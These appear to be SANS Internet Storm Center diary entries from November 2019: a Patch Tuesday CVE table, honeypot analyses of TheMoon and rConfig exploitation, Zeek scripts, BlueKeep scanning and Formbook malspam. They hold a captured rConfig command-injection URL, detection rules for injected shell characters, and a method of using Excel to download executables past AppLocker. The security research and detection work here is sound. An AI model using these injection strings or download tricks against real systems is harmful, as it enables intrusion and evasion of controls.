%%cve:2019-1430%% No No - - Critical 7.3 6.6
Microsoft Windows Security Feature Bypass Vulnerability
%%cve:2019-1384%% No No Less Likely Less Likely Important 8.5 7.6
Microsoft splwow64 Elevation of Privilege Vulnerability
%%cve:2019-1380%% No No Less Likely Less Likely Important 7.8 7.0
NetLogon Security Feature Bypass Vulnerability
%%cve:2019-1424%% No No Less Likely Less Likely Important 8.1 7.3
Open Enclave SDK Information Disclosure Vulnerability
%%cve:2019-1370%% No No Less Likely Less Likely Important 7.0 6.3
OpenType Font Driver Information Disclosure Vulnerability
%%cve:2019-1412%% No No - - Important 5.0 4.5
OpenType Font Parsing Remote Code Execution Vulnerability
%%cve:2019-1456%% No No - - Important 7.8 7.0
%%cve:2019-1419%% No No Less Likely Less Likely Critical 7.8 7.0
Scripting Engine Memory Corruption Vulnerability
%%cve:2019-1429%% No Yes Detected Detected Critical 6.4 5.8
%%cve:2019-1426%% No No - - Critical 4.2 3.8
%%cve:2019-1427%% No No - - Critical 4.2 3.8
%%cve:2019-1428%% No No - - Critical 4.2 3.8
VBScript Remote Code Execution Vulnerability
%%cve:2019-1390%% No No More Likely More Likely Critical 6.4 5.8
Visual Studio Elevation of Privilege Vulnerability
%%cve:2019-1425%% No No - - Important    
Win32k Elevation of Privilege Vulnerability
%%cve:2019-1434%% No No - - Important 7.0 6.3
%%cve:2019-1393%% No No More Likely More Likely Important 7.8 7.0
%%cve:2019-1394%% No No More Likely More Likely Important 7.8 7.0
%%cve:2019-1395%% No No More Likely More Likely Important 7.8 7.0
%%cve:2019-1396%% No No More Likely More Likely Important 7.8 7.0
%%cve:2019-1408%% No No More Likely More Likely Important 7.8 7.0
Win32k Graphics Remote Code Execution Vulnerability
%%cve:2019-1441%% No No - - Critical 6.7 6.0
Win32k Information Disclosure Vulnerability
%%cve:2019-1436%% No No More Likely More Likely Important 5.5 5.0
%%cve:2019-1440%% No No Less Likely Less Likely Important 5.0 4.5
Windows AppX Deployment Extensions Elevation of Privilege Vulnerability
%%cve:2019-1385%% No No Less Likely Less Likely Important 7.8 7.0
Windows Certificate Dialog Elevation of Privilege Vulnerability
%%cve:2019-1388%% No No Less Likely Less Likely Important 7.8 7.0
Windows Data Sharing Service Elevation of Privilege Vulnerability
%%cve:2019-1417%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2019-1379%% No No - - Important 7.8 7.0
%%cve:2019-1383%% No No - - Important 7.8 7.0
Windows Denial of Service Vulnerability
%%cve:2018-12207%% No No Less Likely Less Likely Important 4.7 4.2
%%cve:2019-1391%% No No Less Likely Less Likely Important 5.5 5.0
Windows Elevation of Privilege Vulnerability
%%cve:2019-1420%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2019-1422%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2019-1423%% No No - - Important 7.8 7.0
Windows Error Reporting Information Disclosure Vulnerability
%%cve:2019-1374%% No No Less Likely Less Likely Important 5.5 5.0
Windows GDI Information Disclosure Vulnerability
%%cve:2019-1439%% No No Less Likely Less Likely Important 4.7 4.2
Windows Graphics Component Elevation of Privilege Vulnerability
%%cve:2019-1433%% No No Less Likely Less Likely Important 7.0 6.3
%%cve:2019-1435%% No No More Likely More Likely Important 7.0 6.3
%%cve:2019-1437%% No No More Likely More Likely Important 7.0 6.3
%%cve:2019-1438%% No No More Likely More Likely Important 7.0 6.3
%%cve:2019-1407%% No No - - Important 7.8 7.0
Windows Hyper-V Denial of Service Vulnerability
%%cve:2019-0712%% No No Less Likely Less Likely Important 5.8 5.2
%%cve:2019-1309%% No No Less Likely Less Likely Important 5.8 5.2
%%cve:2019-1310%% No No Less Likely Less Likely Important 5.8 5.2
%%cve:2019-1399%% No No Less Likely Less Likely Important 5.4 4.9
Windows Hyper-V Remote Code Execution Vulnerability
%%cve:2019-1389%% No No - - Critical 7.6 6.8
%%cve:2019-1397%% No No Less Likely Less Likely Critical 7.6 6.8
%%cve:2019-1398%% No No Less Likely Less Likely Critical 7.6 6.8
Windows Installer Elevation of Privilege Vulnerability
%%cve:2019-1415%% No No Less Likely Less Likely Important 7.8 7.0
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2019-1392%% No No - - Important 7.0 6.3
Windows Kernel Information Disclosure Vulnerability
%%cve:2019-11135%% No No Less Likely Less Likely Important 4.7 4.2
Windows Modules Installer Service Information Disclosure Vulnerability
%%cve:2019-1418%% No No Less Likely Less Likely Important 3.5 3.2
Windows Remote Procedure Call Information Disclosure Vulnerability
%%cve:2019-1409%% No No Less Likely Less Likely Important 5.5 5.0
Windows Subsystem for Linux Elevation of Privilege Vulnerability
%%cve:2019-1416%% No No Less Likely Less Likely Important 7.8 7.0
Windows TCP/IP Information Disclosure Vulnerability
%%cve:2019-1324%% No No Less Likely Less Likely Important 5.3 4.9
Windows UPnP Service Elevation of Privilege Vulnerability
%%cve:2019-1405%% No No Less Likely Less Likely Important 7.8 7.0

Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute


Published: 2019-11-11

Are We Going Back to TheMoon (and How is Liquor Involved)?

Earlier today, we received an email from an analyst for a large corporation. He asked:

After setting up a dashboard to monitor for worm related traffic, a series of Suricata alerts began to fly in relation to 'The Moon.' These devices may have been vulnerable around the time that this article was written, and it is entirely possible that this has gone unnoticed. The traffic definitely seems to fit the profile, although, too few observations of this malware have been published to really compare and confirm from simple network analysis.

We wrote about the "Moon" worm back in 2014, over five years ago. So is this worm still making the rounds? I do indeed see a lot of "TheMoon" alerts in my logs. The one that fires the most is snort ID 29831: "SERVER-WEBAPP Linksys E-series HNAP TheMoon remote code execution attempt."
"TheMoon" infected Linksys devices. It took advantage of a vulnerability in the tmUnblock.cgi CGI script. The signature is looking for requests to that specific URL:

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"SERVER-WEBAPP Linksys E-series HNAP TheMoon remote code execution attempt"; flow:established,to_server; content:"/tmUnblock.cgi"; fast_pattern:only; http_uri; content:"ttcp_ip"; http_client_body; pcre:"/ttcp_ip=.*?([\x60\x3b\x7c]|[\x3c\x3e\x24]\x28|%60|%3b|%7c|%26|%3c%28|%3e%28|%24%28)/Pim"; metadata:policy balanced-ips drop, policy max-detect-ips drop, policy security-ips drop, ruleset community, service http; reference:url,isc.sans.edu/diary/Linksys+Worm+%28%22TheMoon%22%29+Captured/17630; classtype:attempted-admin; sid:29831; rev:3;)

The reference to the rule links to a diary from five years ago with the related attack traffic. To compare, I have traffic I captured recently against a honeypot:

POST /tmUnblock.cgi HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Liquor 1.0
Content-Length: 312
Content-Type: application/x-www-form-urlencoded


The payload is pretty much still the same. It again exploits the "tmUnblock/ttcp_ip" issue. Unlike the earlier exploit, the newer payload does not use an Authorization header. As we learned back with the original TheMoon, the authorization header was kind of optional, or at least the credentials didn't have to match the actual credentials for the router. The exploit looks a bit more streamlined but other than that similar. 

The second stage turns out to be challenging to recover. I wasn't able to connect to any of the recent download URLs. Sometimes these sites will only allow connections from IPs they scanned previously. Or they may just no longer be up and running. Here are some URLs I have seen in the last couple of days:

The user agent (Liquor 1.0) is also somewhat unique for this version, and used in other exploits against routers as well (e.g., some GPON exploits). I have only seen these exploits against port 8080, the default Linksys port. 
So what should you do? Likely, it is safe to ignore these scans. Unless a router responds (a tool like Zeek should quickly tell you if it does), I would ignore them or even turn off the signature. As soon as you have a web server listening on port 8080, you will see these scans. Of course, it can't hurt to set up a rule looking for outbound traffic to make sure you are not the home to any infected devices. A regular vulnerability scan of your network should also quickly identify vulnerable systems.

Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute


Published: 2019-11-11

Some packet-fu with Zeek (previously known as bro)

During an incident response process, one of the fundamental variables to consider is speed. If a net capture is being made where we can presumably find evidence that who and how is causing an incident, any second counts in order to anticipate the attacker in the cyber kill chain sequence.

We need to use a passive approach in the analysis of network traffic to be quick in obtaining results. Zeek is a powerful tool to use in these scenarios. It is a tool with network traffic processing capabilities for application level protocols (DCE-RPC, DHCP, DNP3, DNS, FTP, HTTP, IMAP, IRC, KRB, MODBUS, MQTT, MYSQL, NTLM, NTP, POP3, RADIUS, RDP, RFB, SIP, SMB, SMTP, SOCKS, SSH, SSL, SYSLOG, TUNNELS, XMPP), pattern search and a powerful scripting language to process what the incident responder might require.

Zeek scripts work through events. We can find a summary of all possible events that can be used at https://docs.zeek.org/en/stable/scripts/base/bif/event.bif.zeek.html. Next we will review those that will be covered by the examples of this diary:

  • new_connection: This event is raised everytime a new connection is detected.
  • zeek_done: This event is raised when the packet input is exhausted.
  • protocol_confirmation: This event is raised when zeek was able to confirm the protocol inside a specific connection.

We will cover three simple use cases in this diary:

  • Top talkers by source IP connection and new connections performed.
  • Top talkers by source IP and destination port, with new connections performed.
  • Number of connections confirmed by zeek for a specific IP address with a specific protocol.

Top talkers by source IP connection

The following script implements the use case:

global attempts: table[addr] of count &default=0; 
event new_connection (c: connection)
    local source = c$id$orig_h;
    local n = ++attempts[source];

event zeek_done ()
    local toplog=open("toptalkers.log");
    for (k in attempts)
        print toplog,fmt("%s %s",attempts[k],k);


Let's go through the script in detail:

  • We will store the result in the attempts table. We will store there IP addresses type addr and count the occurrences with type count.
  • Using the new_connection event, we traverse the capture counting source IP addresses that generate new connections.
  • Once the packet input is exhausted, using the zeek_done event we create the toptalkers.log file and write the information in the attempts table separated by blank spaces.

Let's see a snippet of the output:

We can get a sorted output:

Top talkers by source IP and destination port, with new connections performed

The following script implements the use case:

global attempts: table[addr,port] of count &default=0; 
event new_connection (c: connection)
    local source = c$id$orig_h;
    local the_port = c$id$resp_p;
    local n = ++attempts[source,the_port];

event zeek_done ()
    local toplog=open("toptalkers.log");
    for ([k,l] in attempts)
        print toplog,fmt("%s %s %s",attempts[k,l],k,l);


Let's review the differences from the previous one:

  • Table now includes ports. Therefore, a new type is included in declaration: port.
  • The source IP, the destination port and the counter for each repetition of this pair of data in the network capture are stored in the code within the new_connection event.
  • Information is written once packet processing is finished to file toptalkers.log.

Let's see a snippet of the script's output:

We can get a sorted output:

Number of connections confirmed by zeek for a specific IP address with a specific protocol

The following script implements the use case:

global attempts: table[addr,Analyzer::Tag] of count &default=0; 
event protocol_confirmation (c: connection, the_type: Analyzer::Tag, aid:count)
    local source = c$id$orig_h;
    local n = ++attempts[source,the_type];

event zeek_done ()
    local toplog=open("toptalkers.log");
    for ([k,l] in attempts)
        print toplog,fmt("%s,%s,%s",k,l,attempts[k,l]);


We can see the some new aspects:

  • The Analyzer::Tag attribute: When the protocol_confirmation event is raised, this attribute saves the protocol that was confirmed by zeek to be in the connection.
  • Information is stored in the table and then saved to a file within the zeek_done event.

Let's see a snippet of the script's output:

In my next diaries I will cover other interesting use cases with zeek using the frameworks that it has.

Manuel Humberto Santander Peláez
SANS Internet Storm Center - Handler
Twitter: @manuelsantander
e-mail: msantand at isc dot sans dot org


Published: 2019-11-10

Did the recent malicious BlueKeep campaign have any positive impact when it comes to patching?

After a news of "mass exploitation" of a specific vulnerability hits mainstream media, even organizations that don’t have a formal (or any) patch management process in place usually start to smell the ashes and try to quickly apply the relevant patches. Since media coverage of the recent BlueKeep campaign was quite extensive, I wondered whether the number of vulnerable machines would start diminishing significantly as a result.

BlueKeep[1] has been with us for a while now. And although pretty much everyone in the security community expected/expects to see the vulnerability used to spread a worm (as it was with WannaCry and EternalBlue), this hasn’t happened so far. However on November 2nd, information about a – potentially significant – BlueKeep exploitation campaign was published[2], which at first seemed to indicate that just such a worm might be loose in the wild[3]. Although it turned out not to be a self-spreading malware, but a campaign in which the attackers used the Metasploit BlueKeep exploit (or an exploit similar to that one), many news sources reported on the attacks which managed to bring the vulnerability to the spotlight again. A question occurred to me at that point – was this scare enough to push those who still didn’t apply the patches to do so now?

Although without being able to directly scan all the potentially vulnerable machines in existence it is hard to say whether the media coverage had any definitive impact when it comes to patching, we can get some idea about the state of affairs before and after the campaign from Shodan. Or – to be exact – from data gathered from it over time. Since Shodan can identify some vulnerabilities (including %%cve:CVE-2019-0708%%/BlueKeep) in the systems it scans, determining how many BlueKeep vulnerable systems are connected to the internet[4] at any time should be quite straight-forward. However given the way Shodan works, this is not completely true.

Shodan scans different IP ranges over time in batches, which is why there may be significant peaks (lots of "new" vulnerable systems/systems with open ports in a scanned IP range) or valleys (lots of systems previously detected as vulnerable have been patched/their ports have been closed) in the data. Due to this behavior of Shodan, if we take a look at a chart of the number of detected BlueKeep vulnerable systems over the last two months, the results wouldn’t tell us much.

Luckily, with little context, we can make a bit more sense of the data. Although getting an exact absolute number of vulnerable systems is impossible, we can compare the number of vulnerable systems with the number of all systems responding on %%port:3389%% and get an approximate percentage of actually vulnerable/unpatched systems connected to the internet when compared to all potentially vulnerable systems connected to the internet. Although this is still far from exact, it can give us a much better idea of the state of affairs, as the following chart shows. It should be mentioned at this point that percentages of vulnerable systems vary widely across different countries[5].

As we may see, the percentage of vulnerable systems seems to be falling more or less steadily for the last couple of months and it appears that media coverage of the recent campaign didn’t do much to help it. And since there still appear to be hundreds of thousands of vulnerable systems out there, we have to hope that the worm everyone expects doesn’t arrive any time soon…

[1] https://en.wikipedia.org/wiki/BlueKeep
[2] https://doublepulsar.com/bluekeep-exploitation-activity-seen-in-the-wild-bd6ee6e599a6
[3] https://twitter.com/MalwareTechBlog/status/1190730471321112577
[4] https://untrustednetwork.net/en/2019/08/01/where-are-all-the-machines-affected-by-bluekeep-hiding/
[5] https://www.untrustednetwork.net/en/2019/08/10/where-are-all-the-machines-affected-by-bluekeep-hiding-part-2/

Jan Kopriva
Alef Nula


Published: 2019-11-09

Fake Netflix Update Request by Text

In the past week, I have received texts asking to update my Netflix account information. It is obvious the URL listed in the text isn't Netflix. The text looks like this:

I downloaded the URL to see what the website look like using wget nfca03-novm19-h13[.]com which resolves to located in the Netherlands. The webpage looks interesting but it is obvious it doesn't look like the real website. The inbound phone number is located in Canada and their real goal is to obtain fraudulent credit card information.

[1] https://whocallsinfo.com/6476146420
[2] https://isc.sans.edu/ipinfo.html?ip=

Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu


Published: 2019-11-08

Microsoft Apps Diverted from Their Main Use

This week, the CERT.eu[1] organized its yearly conference in Brussels. Across many interesting presentations, one of them covered what they called the "cat’n’mouse" game that Blue and Red teams are playing continuously. When the Blue team has detected an attack technique, they write a rule or implement a new control to detect or block it. Then, the Red team has to find an alternative attack path, and so one… A classic example is the detection of malicious via parent/child process relations. It’s quite common to implement the following simple rule (in Sigma[2] format):

  category: process_creation
  product: windows
      - '*\WINWORD.EXE'
      - '*\EXCEL.EXE'
      - '*\POWERPNT.exe'
      - '*\MSPUB.exe'
      - '*\VISIO.exe'
      - '*\OUTLOOK.EXE'
      - ‘*\powershell.exe'
    condition: selection
  - CommandLine
  - ParentCommandLine
  - unknown
level: high

How to read this rule: Generate an alert when a process 'powershell.exe' is launched and its parent process is a Microsoft Office tool. To bypass this, the Red team or attackers now can use an alternative path:

Office > WMI > Powershell

Microsoft tools are wonderful because they can be used in many alternative ways and diverted from their main use. Example, to pause a script for 10”, use the ping command:

C:\ISC\> ping -n 10 >NUL:

Much better than using a sleep() function in a malicious script that could trigger a sandbox alert.

How to become “stealthier” (from a network point of view!) when you need to download files from the wild Internet? How to grab files when you don't have access to a regular browser? Most of the Microsoft tools accept URLs as file names.

Let’s load a text file via Excel. It accepts filenames as argument and filenames can be URLs:

C:\Program Files (x86)\Microsoft Office\root\Office16>excel.exe https://blog.rootshell.be/robots.txt

All text files are directly loaded into Excel cells (1 line = 1 cell):

It is also possible to download binary files :

C:\Program Files (x86)\Microsoft Office\root\Office16>excel.exe https://blog.rootshell.be/wp-content/uploads/2015/12/isc.jpg

When the binary file is loaded in Excel, you can't “see” it:

But the good news, a copy of the file is saved locally in the following directory:


Tip: Those directories are hidden!

From a network evidence point of view, the HTTP request is performed with a specific User-Agent:

<redacted> - - [07/Nov/2019:16:40:38 +0100] “GET /wp-content/uploads/2015/12/isc.jpg HTTP/1.1" 200 5031 "-" "Microsoft Office Excel 2014”

If you try to fetch a more sensitive file like a PE file, you will get a warning from Excel:

C:\Program Files (x86)\Microsoft Office\root\Office16>excel.exe https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe

But the file will be downloaded anyway and available in the same directory!

No magic behind this, all Microsoft apps are compatible with HTTP objects and can GET/PUT/POST data. It's not bullet-proof and can be easily detected but, as I said above, it means more work for the Blue team that needs to track this behavior. It's an easy way to bypass a light AppLocker setup that would prevent users to execute a browser on a sensitive workstation.

[1] https://cert.europa.eu
[2] https://github.com/Neo23x0/sigma

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2019-11-07

Getting the best value out of security assessments

Since my day job is all about hacking, I get a lot of questions (and there appears to be a lot of confusion) about what a vulnerability scan, penetration test or red team assessment is.
This article is my attempt to clear that a little bit - it was already published LeMagIT, but in French (https://www.lemagit.fr/tribune/Retirer-toute-la-valeur-des-evaluations-de-securite), so here's a version in English :-) With that said, here we go ... 


There are many aspects to managing vulnerabilities in today’s complex IT environments. Performing security assessments is a popular way of identifying existing vulnerabilities, which then allows for proper mitigation. In this article we look at the differences between vulnerability scanning, penetration testing and red teaming, three security assessments that are popular, but that should be performed with care, in order to achieve best results.

Deciding which security assessment to perform depends a lot on an organisation’s security maturity level, and the best results will be achieved by performing them exactly in the order listed – let’s see why.

Vulnerability scanning (assessments) is something that every organisation should be doing on a regular basis. This is the first, and the most basic activity in managing vulnerabilities: the goal of a vulnerability scanner is to find low-hanging fruit and known vulnerabilities or misconfigurations. Vulnerability scanners will do a great job of enumerating installed patches, finding default accounts and misconfigurations. Modern scanners can also authenticate against target systems (log in), which will allow them to list installed patches and correlate such information with actively obtained data from a scan, thereby reducing false positive reports.

It is recommended that vulnerability scanning is performed regularly in every organisation, preferably with internal tools. The most popular network vulnerability scanners are Rapid7 Nexpose, Tenable Nessus and Qualys. Just keep in mind that these should be used for network scanning, while other, more specialised tools exist for application level scanning (i.e. for web applications).

Penetration testing should be the next step. When deciding on a penetration test, scoping is very important: the goal of a penetration test is to find all (or at least, as many as possible) of the vulnerabilities in the target scope. The target scope can be a set of IP addresses or networks (when we talk about a network penetration test), a web application, web services and so on.

Since a penetration tester is normally limited in time (typically penetration tests last between 5-15 working days), it’s obvious that the whole process should be as efficient as possible. This means that the scope should be as clearly defined as possible, and that any potential obstacles should be removed. For example, if you are testing a mobile application, it would be beneficial to provide a build without obfuscation for your penetration tester: we know what obfuscation can be circumvented and by providing such a build, the penetration tester will not waste time on deobfuscation, but on finding vulnerabilities.

Additionally, a penetration test will also test for vulnerabilities that a vulnerability scanner cannot find – for example, logic vulnerabilities. Business logic vulnerabilities are almost impossible for a vulnerability scanner to identify (at least for today’s tools), and they can be devastating. A good example is, if you are a bank and have an Internet banking web application; an attacker logs in and tries to create a transaction of -100 EUR, resulting in the payer receiving the funds instead of a payee. Or, another very common category of vulnerabilities is Direct Object Reference (DOR), when attackers try to access objects (for example, transaction records) belonging to arbitrary users by modifying object references. Since object references are typically just numbers (IDs), modification is easy, yet many scanners will miss such vulnerabilities since they do not understand the context i.e. the fact that by changing an ID and retrieving someone else’s transaction record means we have found a critical vulnerability.

The result of a penetration test is a report that should detail all identified vulnerabilities, with recommendations on how to fix them. All listed vulnerabilities should be verified by the penetration tester – there should be no false positives there!

It is now clear that penetration tests require a lot of manual work – that’s why they take quite a long time and are typically more expensive than a vulnerability assessment.

Finally, a red team exercise is the ultimate test of any organisation’s defences. In a red team exercise, the attackers are given a final goal and they can typically use any means they want to achieve their goal. This might include writing new exploits, using social engineering, moving laterally and so on.

The main difference between a red team exercise and a penetration test is that with a red team exercise there is one ultimate goal, while a penetration test aims to find all vulnerabilities in the defined scope. A red team exercise might miss some vulnerabilities and never report them, but it will show you how you stand against a real attacker. Quite often a red team exercise is a good test of an organisation’s blue team – it will show how good they are in detecting attacks and potentially preventing them while they are happening.

Although the above is the ideal process for managing vulnerabilities within an organization, ultimately, deciding which security assessment to select also depends on the maturity level of the organisation. If, for example, the target organisation is not regularly patching its servers, there is no point in doing a penetration test or a red team exercise as even the basic security hygiene is lacking. This must first be addressed. It is only after low-hanging fruit has been taken care of, that a more sophisticated security assessment should be performed.

Likewise, if an organisation is releasing a new application, for example, then a penetration test might be more suitable since the goal will be to find all the vulnerabilities in the new application. And, if you have already tested the majority of your services, and have a trained blue team, a red team exercise will help show how prepared the organisation is against a real world attack.



Published: 2019-11-06

More malspam pushing Formbook


Formbook is an information stealer that has been active since early 2016.  My previous diary about Formbook was in February 2018, and not much has changed since then.  We still see malicious spam (malspam) pushing Formbook through malicious attachments.  A quick check through Twitter or URLhaus reveals several items tagged as Formbook in recent weeks.

Today's diary reviews a recent Formbook infection from Tuesday 2019-11-05.

The email

The email I found was very generic.  It had an attached RTF document designed to exploit vulnerable versions of Microsoft Office when opened in Microsoft Word.

Shown above:  An example of malspam using an attached RTF document to distribute Formbook.

The attachment

The attached RTF document was Quotation.doc and used an exploit, probably CVE-2017-11882 to infect a vulnerable computer with Formbook.  It was filled with German text followed by random characters used for the exploit.

Shown above:  The malicious RTF document when viewed in Microsoft Word.

The infected Windows host

The infected Windows host had a Windows executable file for Formbook made persitent through a Windows registry entry.  Under the user's AppData\Roaming directory, the infected Windows host had a folder that included a screenshot of the desktop, and it included text files with stolen usernames and password information.

Shown above:  Formbook executable made persistent on the infected Windows host.

Shown above: Directory with a screenshot of the desktop and text files with stolen login credentials.

The infection traffic

Infection traffic was typical for Formbook, very similar to patters we saw in my previous diary about Formbook.

Shown above: Traffic from the infection filtered in Wireshark.

Shown above: Alerts from an Any.Run sandbox analysis of the infection indicating this is Formbook.

Final words

Any.Run's sandbox analysis of the RTF document and the resulting Formbook infection can be found here.

Brad Duncan
brad [at] malware-traffic-analysis.net


Published: 2019-11-05

Bluekeep exploitation causing Bluekeep vulnerability scan to fail

I woke up this morning to the long anticipated news that Bluekeep exploitation is happening in the wild.  As some of you may recall, back in August I wrote a diary demonstrating a way to scan for Bluekeep vulnerable devices.  So the next thing I did was check my Bluekeep scan results and was presented with this graph.

It appeared that not only was exploitation nearly 100% successful, but that the exploit was patching against the Bluekeep vulnerability presumably to prevent subsequent exploits from taking over the machine.  

As the day went on I was able to review some the the research about this exploit that had been published over the last couple of days.  Some here.  They all say similar things; Monero miner running out of C:\Windows\System32\spool\svchost.exe etc., but no mention of disabling the vulnerability.  I contacted a couple of researcher friends and they confirmed that they were not seeing the vulnerable RDP disappearing after exploitation.

As detailed in my August 6 diary, my Bluekeep scan script works in two stages:

  1. masscan is run against the RDP port (3389/TCP) across the IP ranges to find devices with exposed RDP ports
  2. rdpscan is run against any devices found by step 1 to determine if the exposed RDP is vulnerable to Bluekeep

A little digging and I discovered that masscan was no longer detecting the open RDP sessions on the vulnerable, and presumable exploited, devices.  Running nmap against the same devices detected the open RDP port.

3389/tcp open  ms-wbt-server Microsoft Terminal Service
| ssl-cert: Subject: commonName=something.something.something
| Not valid before: 2019-10-11T18:16:43
|_Not valid after:  2020-04-11T18:16:43
|_ssl-date: 2019-11-04T16:56:40+00:00; 0s from scanner time.

I was at a loss.  Then one of my colleagues Mo suggested, that if the exploited device is running a Monero miner, the substantial increase in CPU may be causing the device to respond to the probe slower and perhaps masscan is timing out before a response is received.

By default masscan waits 10 seconds for a response.  Increase that timeout to 30 seconds:

/usr/bin/masscan -p3389 -v --wait 30 <IP>

and masscan is able to discover the exposed, and presumably exploited, Bluekeep vulnerable RDP ports.

Just goes to show that you can't always trust your tools when conditions change.

The improved Bluekeep scan script should be:



#create a date parameter for the various files so scans run on different dates don't overwrite each other.

TDATE=`date +%Y%m%d`


# put your IPs or IP ranges you would like to scan in scan_ips.txt 

# this will be used as the input to masscan

# the output file is rdpips-<DATE>.txt

echo "executing masscan"

/usr/bin/masscan -p3389 --wait 30 -v -iL scan_ips.txt > rdpips-$TDATE.txt


#the output from the masscan will be used as the input to rdpscan

#the output file will be RDP_results-<DATE>.txt

echo "executing rdpscan"

rdpscan --file rdpips-$TDATE.txt > RDP_results-$TDATE.txt


I am not sure if there is a mechanism here that could be used to reliably detect exploited devices.  But maybe.


-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)


Published: 2019-11-04

rConfig Install Directory Remote Code Execution Vulnerability Exploited

Last week, Askar from Shells.Systems published two remote code execution (RCE) vulnerabilities in rConfig [1]. The blog post included details about these vulnerabilities and proof of concept code. Both vulnerabilities are trivially exploited by adding shell commands to specific URLs, and one of the vulnerabilities does not require authentication.

My next step was our honeypot logs. I was somewhat surprised that I saw pretty active exploitation of the vulnerability. The exploits came from over 300 different sources at that point, and still kept coming in at a pretty steady pace. But only one particular exploit string was used. The exploit only verifies if a system is vulnerable. These exploit attempts did not originate from a known security company or research effort. I checked a couple of the IPs scanning my honeypots, and the web servers I found had a variety of more or less default configured tools that are likely vulnerable as well. I assume that a botnet is used to scan for the vulnerability, and the origin hosts have been infected themselves.

Figure 1: Geographic distribution of scanning hosts.

Example exploit attempt:

GET /install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3Becho%20-n%20HellorConfig%7Cmd5sum%20%23

The exploit attempt sends the string "HellorConfig" to "md5sum". This is likely done to check if the vulnerable systems returns the output of the command. The output from my test system:

{"phpSafeMode":"Pass - php safe mode is off<\/strong><\/font>","rootDetails":"The root details provided have not passed: a42e705f4cade6b3e84b99b0e0400e74 -<\/strong><\/font>"}

So it looks like we got all the pieces in place for a major security issue. Next, I did a bit of research on rConfig itself. I went to the website distributing it [2]. It looked reasonably well done, and offers the free version of rConfig, as well as a paid support option and teases an upcoming new release. But it wasn't exactly straight forward to find a contact address. I had a bit more luck with the GitHub repository [3]. This is also where I got some indicators that rConfig isn't necessarily all that popular. The last update appeared over a year ago, and even before that, things look sparse. The author also left a note that "I am no longer fixing bugs on rConfig version 3.x. I will manage PRs.". 

Next, I installed the tool in a virtual machine. The install process worked fine (and appeared to be quite complex). At the end, the software was configured via a web-based "install" tool. This tool is also where the pre-authentication vulnerability happens. However: rConfig requires that this install directory is deleted after the install is complete. So in short: You are not vulnerable if you completed the install. This reduces the risk significantly.

So in short: probably not a big deal.

My advice: It doesn't look like rConfig is currently maintained (at leas the version offered for download right now). I would stay away from it. And tools like this should NEVER be exposed to the public internet.

and finally a quick snort rule:

alert tcp $EXTERAL_NET any -> $HOME_NET 80 (msg: "rConfig Remote Code Execution"; sid: 1500123; uricontent: "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=|3b|";)

[1] https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/
[2] https://www.rconfig.com/
[3] https://github.com/rconfig



Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute


Published: 2019-11-03

You Too? "Unusual Activity with Double Base64 Encoding"

Last week, Guy wrote a diary entry "Unusual Activity with Double Base64 Encoding" describing unusual scanning activity he sees on his honeypot.

I too see this activity on my honeypots (port 8080). Exactly the same. The very first hit is almost a year ago: December 30th 2018.

FYI: I'm using a simple honeypot I developed in Python.

Please post a comment if you see this activity too.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2019-11-02

Remark on EML Attachments

Jan Kopriva's interesting diary entry "EML attachments in O365 - a recipe for phishing" reminded me of another use of EML files for malicious purposes.

EML files are MIME files: Multipurpose Internet Mail Extensions. But this format is not only used for email messages. Microsoft Word also supports this file format to save Word documents (including VBA macros). In the SaveAs dialog box, these files are identified as "Single File Web Page", with extension .mht or .mhtml.

And this is the content of a .mht file:

Malicious document authors have started to use this format in 2015, and soon after they started to use simple obfuscation techniques to evade detection.

I join Jan in advising caution with EML files, and by extension, MIME files.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2019-11-01

Tip: Password Managers and 2FA

I guess many of you use a password manager.

I do too. And several credentials stored in my password manager also have 2FA, typically based on an algorithm that has to be seeded with a secret key (like the one used by Google Authenticator).

Whenever I have to create a new account with 2FA, I will store the 2FA key in my password manager along with the password for that account. And if the key is presented as a QR code (it often is), I will save that QR image temporarily to disk and include that file in my password manager.

This way, if I lose my device for 2FA authentication (e.g. smartphone), I can get a new device and start again with a fresh 2FA app install.

If you don't like the idea of storing your password together with your 2FA key: use 2 different password managers, one for your passwords and one for your 2FA keys. And use 2 different master passwords :-)


Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com